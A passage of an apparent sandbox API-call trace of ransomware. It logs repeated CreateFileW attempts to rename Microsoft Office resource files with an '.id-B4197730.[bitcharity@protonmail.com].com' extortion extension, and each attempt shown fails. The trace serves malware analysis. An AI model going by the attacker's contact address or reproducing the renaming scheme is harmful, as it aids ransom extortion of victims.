(in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.086] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.087] CloseHandle (hObject=0x126c) returned 1 [0256.090] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.091] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.091] CloseHandle (hObject=0x126c) returned 1 [0256.092] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.093] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.093] CloseHandle (hObject=0x126c) returned 1 [0256.095] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.095] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.096] CloseHandle (hObject=0x126c) returned 1 [0257.232] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.232] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.232] CloseHandle (hObject=0x1280) returned 1 [0257.234] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.234] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.234] CloseHandle (hObject=0x1280) returned 1 [0257.248] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.248] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.249] CloseHandle (hObject=0x1280) returned 1 [0257.251] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.251] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.252] CloseHandle (hObject=0x1280) returned 1 [0257.253] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.253] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.254] CloseHandle (hObject=0x1280) returned 1 [0257.255] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.257] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.257] CloseHandle (hObject=0x1280) returned 1 [0257.259] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.259] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.287] CloseHandle (hObject=0x1280) returned 1 [0257.309] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.309] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.310] CloseHandle (hObject=0x1280) returned 1 [0257.324] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.324] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.324] CloseHandle (hObject=0x1280) returned 1 [0257.326] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.326] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.326] CloseHandle (hObject=0x1280) returned 1 [0257.328] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.329] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.329] CloseHandle (hObject=0x1280) returned 1 [0257.331] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.331] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.331] CloseHandle (hObject=0x1280) returned 1 [0257.332] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.334] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.334] CloseHandle (hObject=0x1280) returned 1 [0257.338] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.339] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0257.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.339] CloseHandle (hObject=0x1280) returned 1 [0258.341] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.341] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.341] CloseHandle (hObject=0x118c) returned 1 [0258.342] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.342] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.343] CloseHandle (hObject=0x118c) returned 1 [0258.343] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.344] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.344] CloseHandle (hObject=0x118c) returned 1 [0258.348] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.348] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.348] CloseHandle (hObject=0x118c) returned 1 [0258.350] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.350] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.350] CloseHandle (hObject=0x118c) returned 1 [0258.351] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.351] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.352] CloseHandle (hObject=0x118c) returned 1 [0258.353] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.353] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.353] CloseHandle (hObject=0x118c) returned 1 [0258.357] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.357] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.357] CloseHandle (hObject=0x118c) returned 1 [0258.359] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.359] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.359] CloseHandle (hObject=0x118c) returned 1 [0258.361] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.361] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.361] CloseHandle (hObject=0x118c) returned 1 [0258.362] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.362] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.362] CloseHandle (hObject=0x118c) returned 1 [0258.364] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.364] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.364] CloseHandle (hObject=0x118c) returned 1 [0258.366] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.366] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.366] CloseHandle (hObject=0x118c) returned 1 [0258.367] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.367] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.368] CloseHandle (hObject=0x118c) returned 1 [0258.369] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.369] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 